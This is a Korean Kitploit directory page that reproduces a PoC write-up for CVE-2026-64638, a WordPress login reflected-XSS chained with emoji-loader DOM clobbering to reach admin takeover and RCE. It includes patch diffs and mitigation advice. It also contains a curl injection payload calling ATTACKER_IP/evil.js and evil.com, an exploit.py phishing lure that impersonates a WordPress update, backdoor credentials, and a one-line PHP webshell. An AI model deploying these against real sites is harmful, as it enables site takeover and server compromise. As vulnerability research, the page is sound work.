Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-64638 — CVE-2026-64638에 대한 개념 증명(PoC) 익스플로잇: WordPress 로그인에서의 반사형 XSS를 DOM clobbering과 연계하여 관리자 계정 탈취 및 원격 코드 실행을 달성합니다. | Kitploit
도구/GitHubGitHub/dungsocool/cve-2026-64638
Phishing ToolsVulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationWeb SecurityPayload Development
GitHubdungsocool/cve-2026-64638

CVE-2026-64638

CVE-2026-64638에 대한 개념 증명(PoC) 익스플로잇: WordPress 로그인에서의 반사형 XSS를 DOM clobbering과 연계하여 관리자 계정 탈취 및 원격 코드 실행을 달성합니다.

저장소 보기
13일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-64638

로그인 화면의 반사형 XSS로 이어지는 PHP 코드 실행 — WordPress Core

소프트웨어: WordPress Core ≤ 7.0.2 (7.0.3 이전의 모든 버전)

CVSS: 8.9 (높음)

CWE: CWE-79 — 웹 페이지 생성 중 입력의 부적절한 중화

인증 필요: 없음 (Pre-Auth)

사용자 상호작용: 활성 (관리자가 링크 1회 클릭 필요)

영향: XSS → 계정 탈취 → 원격 코드 실행


1. 이 취약점이란?

WordPress는 전 세계 웹사이트의 40% 이상을 차지하는 세계에서 가장 인기 있는 콘텐츠 관리 시스템입니다. 모든 WordPress 사이트에는 /wp-login.php에 로그인 페이지가 있으며, 이는 인증 없이 누구나 접근할 수 있는 공개 엔드포인트입니다.

사용자가 잘못된 사용자 이름을 입력하면 WordPress는 사용자가 방금 입력한 사용자 이름이 포함된 오류 메시지를 표시합니다: “사용자 이름 X은(는) 이 사이트에 등록되어 있지 않습니다.” 문제는 사용자 이름 값이 어떤 이스케이프 함수도 거치지 않고 HTML 응답에 직접 배치된다는 점입니다. 공격자는 실제 사용자 이름 대신 HTML/JavaScript를 입력하기만 하면 코드가 브라우저에서 실행됩니다.

이것은 반사형 XSS(reflected XSS) 결함입니다 — 페이로드가 요청에 포함되어 서버가 HTML에서 동일하게 반사합니다. 위험한 이유는 이 결함이 로그인 페이지에 있기 때문입니다. 로그인 페이지는 관리자가 자주 접근하는 곳이며, 여기서 관리자 세션 쿠키를 탈취할 수 있습니다.

연구팀은 또한 이 XSS가 WordPress의 emoji-loader의 DOM 클로버링 취약점과 연결될 수 있어 외부 서버에서 JavaScript를 로드할 수 있음을 발견했습니다. 이를 통해 공격자는 새 관리자 계정 생성 → 웹셸이 포함된 플러그인 설치 → 서버에서 PHP 코드 실행까지 진행할 수 있습니다. 이 공격 체인을 XSS2Shell이라고 합니다.

속성값
CVE IDCVE-2026-64638
CVSS 점수8.9 (높음)
소프트웨어WordPress Core ≤ 7.0.2
인증필요 없음 (Pre-Auth)
사용자 상호작용클릭 1회 필요 (관리자가 링크 클릭)
공격 복잡성높음
패치됨WordPress 7.0.3 (2026-06-08)
제보자pwn.ai 팀 (HackerOne 경유)
HackerOne 보고서#3877102

2. 용어 설명

DOM 클로버링과 emoji-loader

WordPress는 모든 페이지(로그인 페이지 포함)에서 emoji-loader.js 파일을 통해 이모지 지원을 로드합니다. 이 스크립트는 id="wp-emoji-settings" 요소에서 구성을 읽습니다:

root@kitploit:~
// Before patch (vulnerable)
const settings = JSON.parse(
    document.getElementById('wp-emoji-settings').textContent
);

document.getElementById()는 DOM에서 일치하는 id를 가진 첫 번째 요소를 반환합니다. 공격자가 원래 스크립트 태그 앞에 <div id="wp-emoji-settings">를 주입하면 getElementById는 실제 구성 대신 공격자의 콘텐츠를 읽습니다. 이 기법을 DOM 클로버링이라고 합니다 — HTML 요소를 주입하여 JavaScript 동작을 덮어쓰는 것입니다.

이모지 구성에는 JavaScript 파일(concatemoji)을 로드하기 위한 URL이 포함되어 있습니다. 공격자가 이 URL을 제어하면 → 외부 서버에서 JS 파일을 로드하여 → 브라우저 컨텍스트에서 임의 코드를 실행할 수 있습니다.

XSS에서 WordPress RCE까지

관리자 컨텍스트에서 JavaScript 실행이 달성되면 공격자는 전체 WordPress 관리자 권한을 갖게 됩니다:

  1. 새 관리자 계정 생성 — 관리자 세션으로 /wp-admin/user-new.php 호출
  2. PHP 코드가 포함된 플러그인 설치 — /wp-admin/plugin-install.php를 통해 플러그인 업로드
  3. 테마 파일 수정 — 테마 편집기를 통해 PHP 백도어 삽입

위 3가지 방법 중 하나라도 서버에서 PHP 코드를 실행할 수 있게 합니다 — 즉 RCE입니다.

3. 소스 코드 분석 — 근본 원인

1단계: 싱크(Sink) 찾기 — 사용자 이름이 HTML에 배치되는 위치

wordpress-develop의 수정 커밋 0d6d42e에서 wp-includes/user.php 파일의 사용자 이름/이메일이 오류 메시지에 직접 배치되는 3개 위치를 확인했습니다:

root@kitploit:~
# View diff between vulnerable and patched versions
git diff 7.0.2..7.0.3 -- src/wp-includes/user.php

위치 1 — 189행 (사용자 이름이 존재하지 않음):

수정 전:

root@kitploit:~
// BEFORE (vulnerable):
sprintf(
    __( 'The username <strong>%s</strong> is not registered...' ),
    $username      // ← no escaping
)

image.png

수정 후:

root@kitploit:~
// fixed:
sprintf(
    __( 'The username <strong>%s</strong> is not registered...' ),
    esc_html( $username )    // ← escaped
)

위치 2 — 216행 (잘못된 비밀번호):

수정 전:

image.png

root@kitploit:~
// BEFORE:
'<strong>' . $username . '</strong>'    // ← no escaping

수정 후:

root@kitploit:~
// AFTER:
'<strong>' . esc_html( $username ) . '</strong>'

위치 3 — 299행 (이메일의 잘못된 비밀번호):

수정 전:

image.png

root@kitploit:~
// BEFORE:
'<strong>' . $email . '</strong>'    // ← no escaping

수정 후:

root@kitploit:~
// AFTER:
'<strong>' . esc_html( $email ) . '</strong>'

2단계: 소스(Source) 추적 — 데이터는 어디에서 오는가?

POST 요청에서 오류 메시지까지의 데이터 흐름:

root@kitploit:~
$_POST['log']                           ← user input from login form
    ↓
wp_signon() [user.php:51]
    $credentials['user_login'] = wp_unslash($_POST['log'])     ← only removes backslashes
    ↓
wp_authenticate($username, $password) [pluggable.php:689]
    $username = sanitize_user($username)     ← strips HTML tags, but has a bypass
    ↓
wp_authenticate_username_password() [user.php:153]
    get_user_by('login', $username)          ← user not found
    ↓
    sprintf('The username <strong>%s</strong>...', $username)   ← XSS!
    ↓
WP_Error → login_header() → wp_admin_notice()
    wp_kses_post(...)     ← filters HTML but allows <div>, <a>,  through
    ↓
HTML response → browser render → JavaScript execute

3단계: 두 방어 계층, 약점, 디버깅을 통한 확인

WordPress에는 사용자 이름이 HTML에 도달하기 전에 2개의 필터링 계층이 있습니다:

계층 1: sanitize_user() — strip_tags()를 호출하여 HTML 태그를 제거합니다. 그러나 PHP의 strip_tags()에는 알려진 한계가 있습니다: 비표준 태그 형식으로 필터를 우회할 수 있습니다.

계층 2: wp_kses_post() — <div>, <a>, `` 등 특정 속성을 가진 안전한 HTML 하위 집합을 통과시킵니다 (단, onerror, onload와 같은 이벤트 핸들러는 제거). 핵심: wp_kses_post는 DOM 클로버링에 정확히 필요한 요소인 <div id="wp-emoji-settings">를 허용합니다.

pwn.ai 팀은 두 계층을 모두 우회하여 실용적인 페이로드를 주입할 방법을 찾았습니다. 구체적인 기술적 세부 사항은 공개되지 않았습니다.

Xdebug를 이용한 디버깅 — 데이터 흐름 확인

사용자 이름이 이스케이프 없이 HTML로 직접 들어가는지 시각적으로 확인하기 위해 Xdebug + VS Code를 사용하여 실행 체인의 주요 지점에 중단점을 설정했습니다.

1단계 — 로그인 폼에 XSS 페이로드 입력:

http://localhost:8282/wp-login.php에 접속하여 사용자 이름으로 ``를 입력한 후 Log In을 클릭합니다. 알림 팝업이 나타나면 — XSS가 동작하는 것입니다.

image.png

image.png

2단계 — user.php:184에 중단점 설정 — XSS가 발생하는 위치:

wp_authenticate_username_password() 함수 내부의 return new WP_Error(...)에 중단점을 설정합니다. 디버거가 멈추면 다음을 관찰합니다:

  • Variables → Locals 패널: $username = "" — 그대로인 HTML 페이로드, 이스케이프되지 않음
  • Superglobals → $_POST 패널: log = "" — 페이로드가 폼 입력에서 비롯되었음을 확인
  • Call Stack 패널: wp_authenticate_username_password() → WP_Hook->apply_filters → apply_filters → wp_authenticate → wp_signon → {main} wp-login.php

image.png

$username 값은 $_POST['log'] → wp_unslash() → (sanitize_user 우회) → 186-189행의 오류 메시지로 sprintf()되는 경로를 거치며, 그 사이에 esc_html()이 없습니다. 실습 환경에서는 pwn.ai가 발견한 우회를 시뮬레이션하기 위해 sanitize_user()를 주석 처리했습니다.

3단계 — functions.php:9200에 중단점 설정 — 최종 출력:

echo wp_get_admin_notice( $message, $args )에 중단점을 설정합니다 — 이는 HTML이 브라우저로 출력되기 직전의 마지막 줄입니다:

  • Variables → Locals 패널: $message = "<p><strong>Error:</strong> The username <strong></strong> is not registered...</p>" — 페이로드가 HTML 오류 메시지 안에 온전히 존재
  • 실습 환경의 9200행은 wp_kses_post()로 감싸져 있지 않으며(우회를 시뮬레이션하기 위해 패치됨), 페이로드가 브라우저로 직접 전달됩니다

image.png

원본 WordPress에서 이 줄은 echo wp_kses_post( wp_get_admin_notice(...) )입니다 — wp_kses_post()는 onerror 속성을 제거하지만, <div>는 허용 목록에 있으므로 <div id="wp-emoji-settings">는 통과시킵니다. 이것이 정확히 DOM 클로버링 공격의 벡터입니다.

4단계: 두 번째 수정 커밋 — emoji-loader 강화

커밋 a12c8f5는 DOM 클로버링을 차단하도록 emoji-loader.js를 수정합니다:

root@kitploit:~
// BEFORE (vulnerable): accepts any element with a matching id
const settings = JSON.parse(
    document.getElementById('wp-emoji-settings').textContent
);

// AFTER (fixed): only accepts <script> element
const selector = 'script#wp-emoji-settings';
const script = document.querySelector(selector);
if (!(script instanceof HTMLScriptElement)) {
    throw new Error(`Element missing:${selector}`);
}
const settings = JSON.parse(script.text);

수정은 3가지를 변경합니다:

  1. getElementById 대신 querySelector('script#...') 사용 — <script> 태그만 일치
  2. instanceof HTMLScriptElement 확인 — <div> 또는 ``를 통한 DOM 클로버링 방지
  3. .textContent 대신 .text 사용 — .text는 HTMLScriptElement의 고유 속성

수정 후에는 공격자가 <div id="wp-emoji-settings">를 주입하더라도 <script> 요소가 아니므로 emoji-loader가 이를 무시합니다.

4. 공격 체인 — XSS2Shell

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│  ATTACKER                                                       │
│  Creates phishing link containing XSS payload                   │
│  POST /wp-login.php with log=<div id="wp-emoji-settings">       │
│  {"source":{"concatemoji":"https://evil.com/rce.js"}}           │
└────────────────────────┬────────────────────────────────────────┘
                         │ Sends link to admin (email, chat, etc.)
                         ▼
┌─────────────────────────────────────────────────────────────────┐
│  ADMIN CLICKS LINK                                              │
│  Browser POSTs to /wp-login.php → server reflects payload       │
│  → <div id="wp-emoji-settings"> appears in HTML                 │
└────────────────────────┬────────────────────────────────────────┘
                         │ emoji-loader.js executes
                         ▼
┌─────────────────────────────────────────────────────────────────┐
│  DOM CLOBBERING                                                 │
│  getElementById('wp-emoji-settings') → returns attacker div     │
│  JSON.parse(div.textContent) → reads fake configuration         │
│  Loads script from https://evil.com/rce.js                      │
└────────────────────────┬────────────────────────────────────────┘
                         │ JS executes in admin context
                         ▼
┌─────────────────────────────────────────────────────────────────┐
│  ACCOUNT TAKEOVER + RCE                                         │
│  1. Fetch /wp-admin/user-new.php → get nonce                    │
│  2. POST create new admin account (backdoor)                    │
│  3. Login using backdoor account                                │
│  4. Install plugin containing PHP webshell                      │
│  5. Call webshell → RCE on server                               │
└─────────────────────────────────────────────────────────────────┘

5. POC — 실습 환경 재현

5.1 엔드포인트 확인 — 기본 XSS

http://localhost:8282/wp-login.php에 접속하여 다음을 입력합니다:

  • 사용자 이름: ``
  • 비밀번호: 임의의 값

Log In을 클릭합니다. “localhost”를 표시하는 알림 팝업이 나타나면 → XSS가 동작하는 것입니다.

결과 — 페이로드가 HTML에 온전히 반사됨:

image.png

5.2 DOM 클로버링 — 가짜 이모지 설정 주입

더 복잡한 페이로드 — 공격자의 JS 파일을 가리키는 JSON이 포함된 id="wp-emoji-settings"를 가진 <div> 주입:

image.png

root@kitploit:~
# Payload: inject div clobber emoji-settings
PAYLOAD='<div id="wp-emoji-settings">{"source":{"concatemoji":"http://ATTACKER_IP:9999/evil.js"},"readyCallback":null}</div>'

curl -s -b /tmp/wp-cookies.txt -X POST "http://localhost:8282/wp-login.php" \
  --data-urlencode "log=${PAYLOAD}" \
  -d '&pwd=test&wp-submit=Log+In&testcookie=1' \
  | grep "wp-emoji-settings"

HTML 출력에 공격자의 JSON이 포함된 <div id="wp-emoji-settings">가 나타나면 → emoji-loader가 공격자 서버에서 JS를 로드하게 됩니다.

5.3 전체 체인 — exploit.py를 사용한 XSS2Shell

1단계: 익스플로잇 서버 실행

root@kitploit:~
python exploit.py --target http://localhost:8282 --lhost 127.0.0.1 --lport 9999

exploit.py 스크립트는 2가지를 제공합니다:

  • http://127.0.0.1:9999/phish.html — WordPress 보안 업데이트를 사칭하는 피싱 페이지
  • http://127.0.0.1:9999/evil.js — 백도어 관리자 계정을 생성하는 JS 페이로드

2단계: 관리자가 피싱 링크를 클릭

공격자는 http://127.0.0.1:9999/phish.html 링크를 이메일/채팅을 통해 관리자에게 보냅니다. 관리자가 클릭하면:

  1. 피싱 페이지가 XSS 페이로드가 포함된 사용자 이름으로 /wp-login.php에 자동 POST
  2. 로그인 페이지가 렌더링되며 HTML에 <div id="wp-emoji-settings">가 나타남
  3. emoji-loader.js가 가짜 div를 읽고 → 공격자 서버에서 evil.js 로드
  4. evil.js가 관리자 브라우저에서 실행 → /wp-admin/user-new.php를 가져와 nonce를 획득 → backdoor_xss2shell / Pwn3d!XSS2Shell 계정 생성

image.png

전체 프로세스는 자동으로 진행되며, 관리자는 “사용자 이름을 찾을 수 없음” 오류가 표시된 일반적인 로그인 페이지만 보게 됩니다.

3단계: 공격자가 로그인하고 웹셸 업로드

실습 환경에서는 관리자가 이미 admin / admin123으로 로그인되어 있어 evil.js가 즉시 실행되었습니다. 계정 접근 권한을 획득한 후 플러그인을 통해 웹셸을 즉시 업로드했습니다:

image.png

root@kitploit:~
<?phpif(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>

4단계: RCE — 서버에서 명령 실행

image.png

image.png

출력에서 www-data가 반환되었습니다 — 이제 공격자는 서버에서 명령 실행 권한을 보유합니다.

6. 심각도 및 영향

실제 영향

  • 7.0.3 이전의 모든 WordPress 버전에 영향
  • /wp-login.php 엔드포인트는 항상 공개되어 있으며 숨길 수 없음 (로그인 URL을 변경하는 플러그인을 사용하지 않는 한)
  • 로그인 페이지는 피싱의 자연스러운 표적 — 관리자는 로그인 페이지 링크 클릭에 익숙함
  • XSS → DOM 클로버링 → 관리자 탈취 → RCE 공격 체인은 관리자의 클릭 1회 외에 특별한 조건이 필요 없음
  • RCE로 연결하지 않더라도 로그인 페이지의 XSS는 세션 쿠키 탈취(HttpOnly가 제대로 설정되지 않은 경우) 또는 자격 증명 피싱을 허용함

7. 해결 방법

WordPress 7.0.3에서 패치됨

수정 1 — 출력 이스케이프 (user.php):

root@kitploit:~
// Add esc_html() to everywhere username/email appears in error messages
esc_html( $username )
esc_html( $email )

수정 2 — emoji-loader 강화 (emoji-loader.js):

root@kitploit:~
// Only accept <script> element, do not accept <div> or other elements
const script = document.querySelector('script#wp-emoji-settings');
if (!(script instanceof HTMLScriptElement)) {
    throw new Error('Element missing');
}

수정 3 — URL 이스케이프 (wp-login.php):

root@kitploit:~
// Add esc_url() for wp_login_url() in registration messages
esc_url( wp_login_url() )

WordPress 관리자가 해야 할 일

  1. 즉시 WordPress 7.0.3으로 업데이트 — 패치는 2026-06-08에 릴리스됨
  2. 이전 버전(6.x, 5.x, 4.7+)을 사용 중이라면 WordPress가 수정 사항을 백포트했음
  3. 액세스 로그 확인: log 매개변수에 HTML 페이로드가 포함된 /wp-login.php POST 요청 찾기
  4. 로그인 폼 필드의 HTML 태그를 차단하는 WAF 규칙 사용 고려
  5. 관리자 사용자 목록 검토 — 알 수 없는 계정이 발견되면 사이트가 손상되었을 수 있음

개발자를 위한 교훈

  1. 항상 출력을 이스케이프하고, 입력을 살균하는 것에만 의존하지 마십시오. sanitize_user()는 사용자 이름을 정규화하기 위해 설계된 것이지 XSS를 방지하기 위한 것이 아닙니다. 심층 방어: 출력 지점에서의 이스케이프(esc_html, esc_attr, esc_url)가 최종적이면서 가장 중요한 방어 계층입니다.
  2. 보안에 민감한 데이터에 getElementById를 사용하지 마십시오. DOM 클로버링은 동일한 id를 가진 가짜 요소를 주입할 수 있습니다. 특정 태그 이름과 함께 querySelector를 사용하고 instanceof 확인을 하십시오.
  3. wp_kses_post는 XSS 필터가 아닙니다. 게시물 콘텐츠에서 안전한 HTML을 허용하기 위해 설계된 것이지, 다른 컨텍스트의 XSS를 차단하기 위한 것이 아닙니다. 각 컨텍스트에는 전용 이스케이프 함수가 필요합니다.
도구 다운로드
CVSS 지표값이유
공격 벡터네트워크HTTP를 통해 피해자에게 링크 전송
공격 복잡성높음sanitize_user() + wp_kses_post() 우회 필요, 피해자 클릭 필요
필요한 권한없음로그인 엔드포인트는 인증 불필요
사용자 상호작용활성관리자가 피싱 링크를 클릭해야 함
기밀성높음쿠키, 세션, 관리자 패널 콘텐츠 읽기
무결성높음관리자 계정 생성, 플러그인 설치, 파일 수정
가용성높음RCE → 서버 완전 제어